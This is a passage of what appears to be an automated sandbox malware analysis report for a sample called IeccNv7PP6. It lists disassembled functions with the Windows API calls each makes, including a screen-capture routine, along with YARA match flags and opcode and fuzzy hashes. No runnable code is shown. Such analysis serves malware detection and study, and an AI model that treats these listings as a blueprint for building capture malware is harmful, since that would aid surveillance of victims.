Instruction ID: 19e731b835cd5bb03846d73e479da852061fffa75b5efa0abbdbe84a3f228d63
Opcode Fuzzy Hash: 211d6faacd7aebbddaf1521eced52ad029ab4ad6bdece50ad0f57ab5ad071f03
Instruction Fuzzy Hash: 96F0D132A00225EBDB289A658845BBA776CEB40B18F040469ED07E3284FE70BE0186D4

Function 0043B388 Relevance: 1.5, APIs: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00431EFA: GetLastError.KERNEL32(?,?,0042E005,00457910,00000010), ref: 00431EFE
Part of subcall function 00431EFA: _free.LIBCMT ref: 00431F31
Part of subcall function 00431EFA: SetLastError.KERNEL32(00000000), ref: 00431F72

EnumSystemLocalesW.KERNEL32(0043B665,00000001,?,?,004307D5,?,0043BA06,004307D5,?,?,?,?,?,004307D5,?,?), ref: 0043B3D4

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem_free
String ID:
API String ID: 2016158738-0
Opcode ID: d6cb40d020c0f10101038f95f210870574939c9cf499dc93c49f7b68341f8f2e
Instruction ID: 8e36b55a9bc7705faaba13b87098130e4a65547030758f83ed228488c18c5ef1
Opcode Fuzzy Hash: d6cb40d020c0f10101038f95f210870574939c9cf499dc93c49f7b68341f8f2e
Instruction Fuzzy Hash: BCF0C2362003045FDB145F3A9C92B6A7B95EF88768F15852EFE468B650D7B59C02C684

Function 0466B5EF Relevance: 1.5, APIs: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 04662161: GetLastError.KERNEL32(?,?,0465AA0C,?,00000000,?,0465CE06,0463249A,00000000,?,00451F20), ref: 04662165
Part of subcall function 04662161: _free.LIBCMT ref: 04662198
Part of subcall function 04662161: SetLastError.KERNEL32(00000000,00000000,?,00451F20), ref: 046621D9

EnumSystemLocalesW.KERNEL32(0043B665,00000001,?,?,04660A3C,?,0466BC6D,04660A3C,?,?,?,?,?,04660A3C,?,?), ref: 0466B63B

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem_free
String ID:
API String ID: 2016158738-0
Opcode ID: 8a71536dd7903a37c32e393faf36bdd1bfe0e15f9a3a0bcd0082b4142840c2ea
Instruction ID: aeb393817b1df86d76eb10b7b781f282aca63d65551eecef083d1b9f3be2ed78
Opcode Fuzzy Hash: 8a71536dd7903a37c32e393faf36bdd1bfe0e15f9a3a0bcd0082b4142840c2ea
Instruction Fuzzy Hash: 04F0F6367007149FEB145F39DC91B7ABB95EF81B6CF15442DEA06CB690F671B8028748

Function 00434DED Relevance: 1.5, APIs: 1, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0042E40D: EnterCriticalSection.KERNEL32(?,?,00431C9A,?,00457A38,00000008,00431D68,?,?,?), ref: 0042E41C

EnumSystemLocalesW.KERNEL32(00434DA7,00000001,00457BB8,0000000C), ref: 00434E25

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 7994b66f8d059e0a4ea4c0566bc6fd84287e6518e046040a995cb3296bdf7f9b
Instruction ID: 31781df083fb6f98b94d2300e169204e9eab98a1842135cb0ce39f8875023ccf
Opcode Fuzzy Hash: 7994b66f8d059e0a4ea4c0566bc6fd84287e6518e046040a995cb3296bdf7f9b
Instruction Fuzzy Hash: 57F04F32A103009FD754EF69E906B8D77E0AB49726F10426AF910DB2E2CB7999848F49

Function 04665054 Relevance: 1.5, APIs: 1, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0465E674: RtlEnterCriticalSection.NTDLL(041E0DD4), ref: 0465E683

EnumSystemLocalesW.KERNEL32(00434DA7,00000001,00457BB8,0000000C), ref: 0466508C

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 91255582852f62f49bbb7f6d609e28063f3a8d390254579dd7c371b3acb579f0
Instruction ID: 91083a8d65226f03e4b4870fc6c558d963e8276c552a7193eb5f1ed72582e020
Opcode Fuzzy Hash: 91255582852f62f49bbb7f6d609e28063f3a8d390254579dd7c371b3acb579f0
Instruction Fuzzy Hash: 4CF04F32A10304DFEB14EF68D905B5D77F0AF45715F104269FA10DB2E1DB75AA44CB4A

Function 0043B2A2 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00431EFA: GetLastError.KERNEL32(?,?,0042E005,00457910,00000010), ref: 00431EFE
Part of subcall function 00431EFA: _free.LIBCMT ref: 00431F31
Part of subcall function 00431EFA: SetLastError.KERNEL32(00000000), ref: 00431F72

EnumSystemLocalesW.KERNEL32(0043B1F9,00000001,?,?,?,0043BA64,004307D5,?,?,?,?,?,004307D5,?,?,?), ref: 0043B2D9

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem_free
String ID:
API String ID: 2016158738-0
Opcode ID: 5abaff1671bb674c6eafe0f2cce25488b1c0be8fa004c8119abb9d1d27339480
Instruction ID: 792a508546450a8c62dd781f30710cea9d26762123306e32df2f83f98e4bbb46
Opcode Fuzzy Hash: 5abaff1671bb674c6eafe0f2cce25488b1c0be8fa004c8119abb9d1d27339480
Instruction Fuzzy Hash: 62F0203A30020497CB04AF7AD85A76BBF90EBC5B54F0A409AEF098B250C6399842C798

Function 0466B509 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 04662161: GetLastError.KERNEL32(?,?,0465AA0C,?,00000000,?,0465CE06,0463249A,00000000,?,00451F20), ref: 04662165
Part of subcall function 04662161: _free.LIBCMT ref: 04662198
Part of subcall function 04662161: SetLastError.KERNEL32(00000000,00000000,?,00451F20), ref: 046621D9

EnumSystemLocalesW.KERNEL32(0043B1F9,00000001,?,?,?,0466BCCB,04660A3C,?,?,?,?,?,04660A3C,?,?,?), ref: 0466B540

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem_free
String ID:
API String ID: 2016158738-0
Opcode ID: 7e45c69b4bd48ea0a58e1bc64ad8673d17a770c848b88e6c6a4e287bad9e638c
Instruction ID: 32078f8912ed7264f51ea69240ff292211d4e910c7f89dfcde445a5dc20f7ebb
Opcode Fuzzy Hash: 7e45c69b4bd48ea0a58e1bc64ad8673d17a770c848b88e6c6a4e287bad9e638c
Instruction Fuzzy Hash: 38F0553A30020497CB04AF7ADC547AABF90EFC1B54F0A005DEF0ACB240E231E842C794

Function 00410686 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00010692,0040FC1E), ref: 0041068B

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 6cf26b4471ecbc88141dfed73a91e81ad7907fcfa0cdea6a3473b6b210d5516f
Instruction ID: 98c1b70154c3c6394ebbf277c14e22134dfc73ab602bc766ac458664b600bd4b
Opcode Fuzzy Hash: 6cf26b4471ecbc88141dfed73a91e81ad7907fcfa0cdea6a3473b6b210d5516f
Instruction Fuzzy Hash:

Function 046408ED Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00410692,0463FE85), ref: 046408F2

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 6cf26b4471ecbc88141dfed73a91e81ad7907fcfa0cdea6a3473b6b210d5516f
Instruction ID: 98c1b70154c3c6394ebbf277c14e22134dfc73ab602bc766ac458664b600bd4b
Opcode Fuzzy Hash: 6cf26b4471ecbc88141dfed73a91e81ad7907fcfa0cdea6a3473b6b210d5516f
Instruction Fuzzy Hash:

Function 0043BBE1 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0043BBE1

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: b4ea6d87a370488c09fcd641e95d7d939a449e6ed78a54530fece2258cf524d5
Instruction ID: 646215492ee1b006629ac518ce4a11708067c45d14fae9e363609ac2be79142b
Opcode Fuzzy Hash: b4ea6d87a370488c09fcd641e95d7d939a449e6ed78a54530fece2258cf524d5
Instruction Fuzzy Hash: 3FA02230A00300EF8380CF30AE0830E3BE8BE03AC3B008238A002C3030EB30C0808B08

Function 004373F9 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 833578221895711969fd992aca003b8dff0ac6b0b4e24d9bd8e499997b964946
Instruction ID: b4093df590a21e34b028a8b1fc7d27a52c9cbab165512cb59d6a43ae298a81d2
Opcode Fuzzy Hash: 833578221895711969fd992aca003b8dff0ac6b0b4e24d9bd8e499997b964946
Instruction Fuzzy Hash: 61324661D68F014DE7339634C822336A698AFBB3D4F15E737F859B5EA6EB28C4834105

Function 004071D0 Relevance: .4, Instructions: 378COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e46bd4f707ba7a9ceb031d9cd86521102eb103cae0c179e5e6aa0592395d1ff4
Instruction ID: 8d7dcf63c468df939a74f501716ec15b8f2183c69ee07cfca9113f75d84f5853
Opcode Fuzzy Hash: e46bd4f707ba7a9ceb031d9cd86521102eb103cae0c179e5e6aa0592395d1ff4
Instruction Fuzzy Hash: C3E19270A08612EFD714CF24C590AAAB7F1FF44304B14456ED856ABB81D738FC61DB96

Function 0465770B Relevance: .4, Instructions: 356COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00d6ba4a2d84f0801e1b0a96c170955ef3db55fa66fb4acd58968073f34e18d5
Instruction ID: c15ae08cfc37953be92665754254fa87a4e91936cc6caac215bc445ed4020911
Opcode Fuzzy Hash: 00d6ba4a2d84f0801e1b0a96c170955ef3db55fa66fb4acd58968073f34e18d5
Instruction Fuzzy Hash: E8D1C9722081A30AC76D4A39847003ABFE16B52263F1D47AEDCF7CB6E2F924F555D660

Function 00427D87 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction ID: 80968e5e8bc017810328c9ff139e3a08396a4cd6bf5f0c598f5f88a651707172
Opcode Fuzzy Hash: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction Fuzzy Hash: C691743230D0B34ADB29463DA53413FFFE15E523A139A079FE4F2CA2C5EE289954D624

Function 04657FEE Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction ID: 542c5c86b32de64d9bb8a80c76b61bca2ec7ad424d4e62316098425633f37b35
Opcode Fuzzy Hash: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction Fuzzy Hash: 4A917B722090A349DB6D563A847403EFFE15A512A1B19079EDCF3CBAE1FE14E175D720

Function 00428042 Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05e0b846b00456d0f1e87463b9d189974beed2fe63262d4392584e128a114ea2
Instruction ID: 6d209accfb2b0f61ed35da4827d98296029fd821660f9634528c43e98a7d9207
Opcode Fuzzy Hash: 05e0b846b00456d0f1e87463b9d189974beed2fe63262d4392584e128a114ea2
Instruction Fuzzy Hash: D491933230A0B34ADB69423D947403FFFE15A523A135A079FD4F2CA2C5EE189569E638

Function 046582A9 Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05e0b846b00456d0f1e87463b9d189974beed2fe63262d4392584e128a114ea2
Instruction ID: 5c32e3cde1d4383f4bfba7f22cbf4d36870bcd9380822ebfed2918650f38c26f
Opcode Fuzzy Hash: 05e0b846b00456d0f1e87463b9d189974beed2fe63262d4392584e128a114ea2
Instruction Fuzzy Hash: FB91C9722091A34EDB69567A843403EFFE15B512A1B0A179EDCF2CBAE1FD24E174D620

Function 00427AC0 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction ID: c950a799e81b9798c69e1fde7feb5263e7a66bddbd8f12dc999fd4da67e98d8e
Opcode Fuzzy Hash: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction Fuzzy Hash: 02915F7230D0B34ADB29463EA47403EFFE15A523A539A079FD4F2CB2C1EE189665D624

Function 04657D27 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction ID: 214888a556cd0bd26e338ed56703b095c377c18edc50d762b4ec6323f50e163d
Opcode Fuzzy Hash: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction Fuzzy Hash: CC9186722091A30EDB2D8639857443EFFE15B512A3F1A079FD8F2CB2E5FE14E5549620

Function 0042D50E Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae41838ee76994b482650b7261a05257237b420b1ccb6a01709a4d1c62f7e11e
Instruction ID: bf5b32470415164d0bde1c399ad2a9f6c2d5fa579297b3e458aa86cae917bf69
Opcode Fuzzy Hash: ae41838ee76994b482650b7261a05257237b420b1ccb6a01709a4d1c62f7e11e
Instruction Fuzzy Hash: 5F6132A1F0073866DB389A287895BBF23949F42748FE0051BE846DB3C1D69D9DC2C75E

Function 0465D775 Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f064d261a6db162a18988518e6412387d7217a2fbe5ef33d199751ee8f38446f
Instruction ID: 2b2912a248146090e713fb73451ef1ff5acdedf38d35eeec8f18b7bb17b5156b
Opcode Fuzzy Hash: f064d261a6db162a18988518e6412387d7217a2fbe5ef33d199751ee8f38446f
Instruction Fuzzy Hash: 0A614871700709A6EB346A688C907BE6399DF61748F04C41EDD83DB3F0F615B942C359

Function 00427816 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction ID: 70ade5293ce95a995033036da66bd690249c8a0141dd443be95812c5f6c87ab8
Opcode Fuzzy Hash: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction Fuzzy Hash: 7381827230C0B34AEB29463E957843FFFE15A523A135A179FD4F2CA2C1EE18C694D624

Function 04657A7D Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction ID: be4e1ca23e5f6aea592cf4135caac4246cc5a44dbbd71c3a0e8cac6ef455cf3c
Opcode Fuzzy Hash: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction Fuzzy Hash: 0F8146722090A34DDB694A3D857443EFFE15B622A3F1A079EDCF2CB2E1FD14A165D620

Function 00428580 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 93e5daa5636be076332bd1d1c6ab8ee00e3655dcebceb5ec59e252ebbac9be67
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 69113B7730307153D6048A2DF8B45BF9795EBC53207ED426FD0418B749CE2AE9819508

Function 046587E7 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 2c0ad6ad6310a56b603ed0659470b4e8bddd11cb50138d570762e33b6cb79e05
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 1E112B7730104143D718AA2DD8B45BBA799EBE53A4F2C437AD8828BF78F322F164D600

Function 02DAD54B Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4138092342.0000000002DAD000.00000040.00000020.00020000.00000000.sdmp, Offset: 02DAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dad000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: ac2ada831b9bab4f7bd38f21d416dff2bba01b06c7178ad8580489560298ed16
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: FF118E72340100AFD744DF55DC90FA673EAEB8A364B2980A5ED04CB756E675EC41CB60

Function 04630D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 82b33ce757b48afed4a36193a48621540526a32f562ce0a2a7eac74c9fc132cc
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: B301A7767006448FDF21CF24C804BAA33E5FF85217F4544A5E50697345F774B9458B90

Function 00402116 Relevance: 49.2, APIs: 27, Strings: 1, Instructions: 205COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000014,?,?), ref: 00402151
GetClientRect.USER32(?,?), ref: 00402166
GetDC.USER32(?), ref: 0040216D
CreateSolidBrush.GDI32(00646464), ref: 00402180
SelectObject.GDI32(00000000,00000000), ref: 00402194
CreatePen.GDI32(00000001,00000001,00FFFFFF), ref: 0040219F
SelectObject.GDI32(00000000,00000000), ref: 004021AD
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 004021C0
GetDeviceCaps.GDI32(00000000,0000005A), ref: 004021CB
MulDiv.KERNEL32(00000008,00000000), ref: 004021D4
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000190,00000000,00000000,00000000,00000000,00000000,00000000,00000002,00000031,Tahoma), ref: 004021F8
SelectObject.GDI32(00000000,00000000), ref: 00402206
SetBkMode.GDI32(?,00000001), ref: 00402283
SetTextColor.GDI32(?,00000000), ref: 00402292
_wcslen.LIBCMT ref: 0040229B

Strings

Tahoma, xrefs: 004021DA

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: CreateObjectSelect$BrushCapsClientColorDeviceFontModeProcRectRectangleSolidTextWindow_wcslen
String ID: Tahoma
API String ID: 3832963559-3580928618
Opcode ID: abba52d6847b12fe0ef92b8c09c3f71f9fb3bd9472e68441846bf1e5ef91a6b5
Instruction ID: 010c8dd0ade12b0eef00d8562bcf10ebda5dfd6cd9d9fcac1ad08c501085cdf2
Opcode Fuzzy Hash: abba52d6847b12fe0ef92b8c09c3f71f9fb3bd9472e68441846bf1e5ef91a6b5
Instruction Fuzzy Hash: E871FD72900228AFDB22DF64DD85FAEB7BCEB09B11F0041A5B609E6151DA74AF81CF14

Function 00402591 Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 186windowkeyboardfileCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?), ref: 004025ED
DefWindowProcW.USER32(?,00000204,?,?), ref: 004025FF
ReleaseCapture.USER32 ref: 00402612
GetDC.USER32(00000000), ref: 00402639
CreateCompatibleBitmap.GDI32(?,-0045D5E7,00000001), ref: 004026C0
CreateCompatibleDC.GDI32(?), ref: 004026C9
SelectObject.GDI32(00000000,00000000), ref: 004026D3
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00CC0020), ref: 00402701
ShowWindow.USER32(?,00000000), ref: 0040270A
GetTempPathW.KERNEL32(00000104,?), ref: 0040271C
GetTempFileNameW.KERNEL32(?,gya,00000000,?), ref: 00402737
DeleteFileW.KERNEL32(?), ref: 00402751
DeleteDC.GDI32(00000000), ref: 00402758
DeleteObject.GDI32(00000000), ref: 0040275F
ReleaseDC.USER32(00000000,?), ref: 0040276D
DestroyWindow.USER32(?), ref: 00402774
SetCapture.USER32(?), ref: 004027C1
GetDC.USER32(00000000), ref: 004027F5
ReleaseDC.USER32(00000000,00000000), ref: 0040280B
GetKeyState.USER32(0000001B), ref: 00402818
DestroyWindow.USER32(?), ref: 0040282D

Strings

gya, xrefs: 0040272B

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Window$DeleteDestroyRelease$CaptureCompatibleCreateFileObjectTemp$BitmapNamePathProcSelectShowState
String ID: gya
API String ID: 2545303185-1989253062
Opcode ID: 801bb6c124e375a82d20db098403c515f414ac510bec6d128129a9fc28d47c56
Instruction ID: e71ef6788f7482d4de425a52166adb2a5dd74d508ff262b25753fab110ccc0fb
Opcode Fuzzy Hash: 801bb6c124e375a82d20db098403c515f414ac510bec6d128129a9fc28d47c56
Instruction Fuzzy Hash: 926181B5900209AFCB289F64ED48FAA7BB9FF49706F144179F605A22A2D774C941CF1C

Function 0042E6D2 Relevance: 22.8, APIs: 15, Instructions: 296COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0042E742
_free.LIBCMT ref: 0042E758
_free.LIBCMT ref: 0042E769
_free.LIBCMT ref: 0042E77A
_free.LIBCMT ref: 0042E791
GetCPInfo.KERNEL32(?,?), ref: 0042E7D9

Part of subcall function 0043670B: _free.LIBCMT ref: 00436776

_free.LIBCMT ref: 0042E985
_free.LIBCMT ref: 0042E998
_free.LIBCMT ref: 0042E9A6
_free.LIBCMT ref: 0042E9B1
_free.LIBCMT ref: 0042E9F3
_free.LIBCMT ref: 0042E9FB
_free.LIBCMT ref: 0042EA03
_free.LIBCMT ref: 0042EA0B
_free.LIBCMT ref: 0042EA19

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: fec93888c3f7e73e0eb96cf8028c18e5ced2e8f3fd0cfc5e1e5440814fe90055
Instruction ID: ea2a752c51db2b1f33c6fb20177c4d444c994d8588285db844449b2f99ea92ea
Opcode Fuzzy Hash: fec93888c3f7e73e0eb96cf8028c18e5ced2e8f3fd0cfc5e1e5440814fe90055
Instruction Fuzzy Hash: 7AB1C371A002159FDB11DF6AD841BEEB7F4FF18304F54452FE485AB342D77AA8418B14

Function 0465E939 Relevance: 22.8, APIs: 15, Instructions: 296COMMON

